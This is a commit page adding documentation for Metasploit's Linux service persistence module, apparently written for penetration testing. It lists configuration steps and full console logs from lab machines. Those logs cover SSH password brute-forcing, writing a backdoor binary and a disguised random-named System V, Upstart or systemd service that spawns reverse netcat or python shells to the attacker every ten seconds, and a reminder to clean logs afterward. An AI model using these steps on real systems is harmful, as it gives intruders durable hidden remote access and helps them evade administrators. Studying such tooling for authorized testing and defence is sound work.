Skip to content

Commit 2b6576b

Browse files
wvuwvu
committed
Land rapid7#7012, Linux service persistence module
2 parents c64d914 + 03dca5f commit 2b6576b

File tree

2 files changed

+538
-0
lines changed

2 files changed

+538
-0
lines changed

‎documentation/modules/exploit/linux/local/service_persistence.md

Lines changed: 254 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,254 @@
1+
### Creating A Testing Environment
2+
3+
This module has been tested against:
4+
5+
1. Kali 2.0 (System V)
6+
2. Ubuntu 14.04 (Upstart)
7+
3. Ubuntu 16.04 (systemd)
8+
4. Centos 5 (System V)
9+
5. Fedora 18 (systemd)
10+
6. Fedora 20 (systemd)
11+
12+
## Verification Steps
13+
14+
1. Start msfconsole
15+
2. Exploit a box via whatever method
16+
3. Do: `use exploit/linux/local/service_persistence`
17+
4. Do: `set session #`
18+
5. Do: `set verbose true`
19+
6. Do: `set payload cmd/unix/reverse_python` or `payload cmd/unix/reverse_netcat` depending on system.
20+
7. Optional Do: `set SHELLAPTH /bin` if needed for compatibility on remote system.
21+
8. Do: `set lhost`
22+
9. Do: `exploit`
23+
10. Do: `use exploit/multi/handler`
24+
11. Do: `set payload cmd/unix/reverse_python` or `payload cmd/unix/reverse_netcat` depending on system.
25+
12. Do: `set lhost`
26+
13. Do: `exploit -j`
27+
14. Kill your shell (if System V, reboot target). Upstart/systemd wait 10sec
28+
15. Get Shell
29+
30+
## Options
31+
32+
**target**
33+
34+
There are several targets selectable, which all have their own issues.
35+
36+
0. Automatic: Detect the service handler automatically based on running `which` to find the admin binaries
37+
1. System V: There is no automated restart, so while you'll get a shell, if it crashes, you'll need to wait for a init shift to restart the process automatically (like a reboot). This logs to syslog or /var/log/<process>.log and .err
38+
2. Upstart: Logs to its own file. This module is set to restart the shell after a 10sec pause, and do this forever.
39+
3. systemd: This module is set to restart the shell after a 10sec pause, and do this forever.
40+
41+
**SHELLPATH**
42+
43+
If you need to change the location where the backdoor is written (like on CentOS 5), it can be done here. Default is /usr/local/bin
44+
45+
**SERVICE**
46+
47+
The name of the service to create. If not chosen, a 7 character random one is created.
48+
49+
**SHELL_NAME**
50+
51+
The name of the file to write with our shell. If not chosen, a 5 character random one is created.
52+
53+
## Scenarios
54+
55+
### System V (Centos 5 - root - chkconfig)
56+
57+
Get initial access
58+
59+
msf > use auxiliary/scanner/ssh/ssh_login
60+
msf auxiliary(ssh_login) > set rhosts 192.168.199.131
61+
rhosts => 192.168.199.131
62+
msf auxiliary(ssh_login) > set username root
63+
username => root
64+
msf auxiliary(ssh_login) > set password centos
65+
password => centos
66+
msf auxiliary(ssh_login) > exploit
67+
68+
[*] 192.168.199.131:22 SSH - Starting bruteforce
69+
[+] 192.168.199.131:22 SSH - Success: 'root:centos' 'uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t:SystemLow-SystemHigh Linux localhost.localdomain 2.6.18-398.el5 #1 SMP Tue Sep 16 20:51:48 EDT 2014 i686 i686 i386 GNU/Linux '
70+
[*] Command shell session 1 opened (192.168.199.128:49359 -> 192.168.199.131:22) at 2016-06-22 14:27:38 -0400
71+
[*] Scanned 1 of 1 hosts (100% complete)
72+
[*] Auxiliary module execution completed
73+
74+
Install our callback service (system_v w/ chkconfig). Note we change SHELLPATH since /usr/local/bin isnt in the path for CentOS 5 services.
75+
76+
msf auxiliary(ssh_login) > use exploit/linux/local/service_persistence
77+
msf exploit(service_persistence) > set session 1
78+
session => 1
79+
msf exploit(service_persistence) > set verbose true
80+
verbose => true
81+
msf exploit(service_persistence) > set SHELLPATH /bin
82+
SHELLPATH => /bin
83+
msf exploit(service_persistence) > set payload cmd/unix/reverse_netcat
84+
payload => cmd/unix/reverse_netcat
85+
msf exploit(service_persistence) > set lhost 192.168.199.128
86+
lhost => 192.168.199.128
87+
msf exploit(service_persistence) > exploit
88+
89+
[*] Started reverse handler on 192.168.199.128:4444
90+
[*] Writing backdoor to /bin/GUIJc
91+
[*] Max line length is 65537
92+
[*] Writing 95 bytes in 1 chunks of 329 bytes (octal-encoded), using printf
93+
[*] Utilizing System_V
94+
[*] Utilizing chkconfig
95+
[*] Writing service: /etc/init.d/HqdezBF
96+
[*] Max line length is 65537
97+
[*] Writing 1825 bytes in 1 chunks of 6409 bytes (octal-encoded), using printf
98+
[*] Enabling & starting our service
99+
[*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.131:56182) at 2016-06-22 14:27:50 -0400
100+
101+
Reboot the box to prove persistence
102+
103+
reboot
104+
^Z
105+
Background session 2? [y/N] y
106+
msf exploit(service_persistence) > use exploit/multi/handler
107+
msf exploit(handler) > set payload cmd/unix/reverse_netcat
108+
payload => cmd/unix/reverse_netcat
109+
msf exploit(handler) > set lhost 192.168.199.128
110+
lhost => 192.168.199.128
111+
msf exploit(handler) > exploit
112+
113+
[*] Started reverse handler on 192.168.199.128:4444
114+
[*] Starting the payload handler...
115+
[*] Command shell session 3 opened (192.168.199.128:4444 -> 192.168.199.131:44744) at 2016-06-22 14:29:32 -0400
116+
117+
118+
### Upstart (Ubuntu 14.04.4 Server - root)
119+
Of note, I allowed Root login via SSH w/ password only to gain easy initial access
120+
121+
Get initial access
122+
123+
msf auxiliary(ssh_login) > exploit
124+
125+
[*] 10.10.60.175:22 SSH - Starting bruteforce
126+
[+] 10.10.60.175:22 SSH - Success: 'root:ubuntu' 'uid=0(root) gid=0(root) groups=0(root) Linux ubuntu 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:27 UTC 2016 i686 i686 i686 GNU/Linux '
127+
[*] Command shell session 1 opened (10.10.60.168:43945 -> 10.10.60.175:22) at 2016-06-22 08:03:15 -0400
128+
[*] Scanned 1 of 1 hosts (100% complete)
129+
[*] Auxiliary module execution completed
130+
131+
Install our callback service (Upstart)
132+
133+
msf auxiliary(ssh_login) > use exploit/linux/local/service_persistence
134+
msf exploit(service_persistence) > set session 1
135+
session => 1
136+
msf exploit(service_persistence) > set verbose true
137+
verbose => true
138+
msf exploit(service_persistence) > set payload cmd/unix/reverse_python
139+
payload => cmd/unix/reverse_python
140+
msf exploit(service_persistence) > set lhost 10.10.60.168
141+
lhost => 10.10.60.168
142+
msf exploit(service_persistence) > exploit
143+
144+
[*] Started reverse handler on 10.10.60.168:4444
145+
[*] Writing backdoor to /usr/local/bin/bmmjv
146+
[*] Max line length is 65537
147+
[*] Writing 429 bytes in 1 chunks of 1650 bytes (octal-encoded), using printf
148+
[*] Utilizing Upstart
149+
[*] Writing /etc/init/Hipnufl.conf
150+
[*] Max line length is 65537
151+
[*] Writing 236 bytes in 1 chunks of 874 bytes (octal-encoded), using printf
152+
[*] Starting service
153+
[*] Dont forget to clean logs: /var/log/upstart/Hipnufl.log
154+
[*] Command shell session 5 opened (10.10.60.168:4444 -> 10.10.60.175:44368) at 2016-06-22 08:23:46 -0400
155+
156+
And now, we can kill the callback shell from our previous session
157+
158+
^Z
159+
Background session 5? [y/N] y
160+
msf exploit(service_persistence) > sessions -i 1
161+
[*] Starting interaction with 1...
162+
163+
netstat -antp | grep 4444
164+
tcp 0 0 10.10.60.175:44368 10.10.60.168:4444 ESTABLISHED 1783/bash
165+
tcp 0 0 10.10.60.175:44370 10.10.60.168:4444 ESTABLISHED 1789/python
166+
kill 1783
167+
[*] 10.10.60.175 - Command shell session 5 closed. Reason: Died from EOFError
168+
kill 1789
169+
170+
Now with a multi handler, we can catch Upstart restarting the process every 10sec
171+
172+
msf > use exploit/multi/handler
173+
msf exploit(handler) > set payload cmd/unix/reverse_python
174+
payload => cmd/unix/reverse_python
175+
msf exploit(handler) > set lhost 10.10.60.168
176+
lhost => 10.10.60.168
177+
msf exploit(handler) > exploit
178+
179+
[*] Started reverse handler on 10.10.60.168:4444
180+
[*] Starting the payload handler...
181+
[*] Command shell session 3 opened (10.10.60.168:4444 -> 10.10.60.175:44390) at 2016-06-22 08:26:48 -0400
182+
183+
184+
### systemd (Ubuntu 16.04 Server - root)
185+
Ubuntu 16.04 doesn't have many of the default shell options, however `cmd/unix/reverse_netcat` works.
186+
While python shellcode works on previous sytems, on 16.04 the path is `python3`, and therefore `python` will fail the shellcode.
187+
188+
Get initial access
189+
190+
msf exploit(handler) > use exploit/linux/local/service_persistence
191+
msf exploit(service_persistence) > set session 1
192+
session => 1
193+
msf exploit(service_persistence) > set verbose true
194+
verbose => true
195+
msf exploit(service_persistence) > set payload cmd/unix/reverse_netcat
196+
payload => cmd/unix/reverse_netcat
197+
msf exploit(service_persistence) > set lhost 192.168.199.128
198+
lhost => 192.168.199.128
199+
msf exploit(service_persistence) > exploit
200+
201+
[*] Started reverse handler on 192.168.199.128:4444
202+
[*] Writing backdoor to /usr/local/bin/JSRCF
203+
[*] Max line length is 65537
204+
[*] Writing 103 bytes in 1 chunks of 361 bytes (octal-encoded), using printf
205+
[*] Utilizing systemd
206+
[*] /lib/systemd/system/YelHpCx.service
207+
[*] Max line length is 65537
208+
[*] Writing 151 bytes in 1 chunks of 579 bytes (octal-encoded), using printf
209+
[*] Enabling service
210+
[*] Starting service
211+
[*] Command shell session 7 opened (192.168.199.128:4444 -> 192.168.199.130:47050) at 2016-06-22 10:35:07 -0400
212+
213+
^Z
214+
Background session 7? [y/N] y
215+
216+
Kill the process on the Ubuntu target box via local access #good_admin
217+
218+
root@ubuntu:/etc/systemd/system/multi-user.target.wants# netstat -antp | grep 4444
219+
tcp 0 0 192.168.199.130:47052 192.168.199.128:4444 ESTABLISHED 5632/nc
220+
root@ubuntu:/etc/systemd/system/multi-user.target.wants# kill 5632
221+
222+
And logically, we lose our shell
223+
224+
[*] 192.168.199.130 - Command shell session 7 closed. Reason: Died from EOFError
225+
226+
Now with a multi handler, we can catch systemd restarting the process every 10sec
227+
228+
229+
msf exploit(service_persistence) > use exploit/multi/handler
230+
msf exploit(handler) > show options
231+
232+
Module options (exploit/multi/handler):
233+
234+
Name Current Setting Required Description
235+
---- --------------- -------- -----------
236+
237+
Payload options (cmd/unix/reverse_netcat):
238+
239+
Name Current Setting Required Description
240+
---- --------------- -------- -----------
241+
LHOST 192.168.199.128 yes The listen address
242+
LPORT 4444 yes The listen port
243+
244+
Exploit target:
245+
246+
Id Name
247+
-- ----
248+
0 Wildcard Target
249+
250+
msf exploit(handler) > exploit
251+
252+
[*] Started reverse handler on 192.168.199.128:4444
253+
[*] Starting the payload handler...
254+
[*] Command shell session 8 opened (192.168.199.128:4444 -> 192.168.199.130:47056) at 2016-06-22 10:37:30 -0400

0 commit comments

Comments
 (0)